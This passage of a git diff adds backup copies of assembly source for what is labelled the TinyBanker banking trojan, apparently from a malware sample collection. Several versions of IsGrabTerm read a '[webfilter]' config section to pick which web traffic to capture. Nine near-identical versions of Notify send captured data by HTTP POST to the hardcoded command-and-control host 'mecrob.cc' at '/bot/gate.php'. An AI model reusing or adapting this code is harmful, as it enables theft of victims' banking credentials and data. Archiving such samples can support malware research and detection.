edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(7).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(7).inc new file mode 100644 index 0000000..cf218a1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(7).inc @@ -0,0 +1,89 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi + + +@@: + + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(8).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(8).inc new file mode 100644 index 0000000..4993e35 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(8).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + cmp byte ptr[eax], "!" + jne @cmp + + inc eax + dec ecx + dec esi + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(9).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(9).inc new file mode 100644 index 0000000..467595e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(9).inc @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + inc esi + cmp byte ptr[eax], "!" + jne @cmp + + inc eax + dec ecx + dec esi + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(1).inc new file mode 100644 index 0000000..f380490 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(1).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword +; local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + +; invokx _WSAStartup[ebx], 202h, &WSAData +; jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(2).inc new file mode 100644 index 0000000..0e524a1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(2).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + +; invokx _WSAStartup[ebx], 202h, &WSAData +; jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(3).inc new file mode 100644 index 0000000..3cfae85 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(3).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(4).inc new file mode 100644 index 0000000..e446ac4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(4).inc @@ -0,0 +1,105 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(5).inc new file mode 100644 index 0000000..8020640 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(5).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" + sPassword db "default_password" +; sBotNET db "default" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(6).inc new file mode 100644 index 0000000..c794230 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(6).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + sPassword db "default_password" +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(7).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(7).inc new file mode 100644 index 0000000..dfc729b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(7).inc @@ -0,0 +1,105 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + sPassword db "default_password" +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(8).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(8).inc new file mode 100644 index 0000000..a615ba6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(8).inc @@ -0,0 +1,108 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + sPassword db "default_password" + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + + + + +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(9).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(9).inc new file mode 100644 index 0000000..9eac636 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(9).inc @@ -0,0 +1,108 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + invokx _WSAStartup[ebx], 202h, &WSAData + jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + + sPassword db "default_password" + + +; sBotNET db "default" +; sSupplier db "loadscc" + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(1).inc 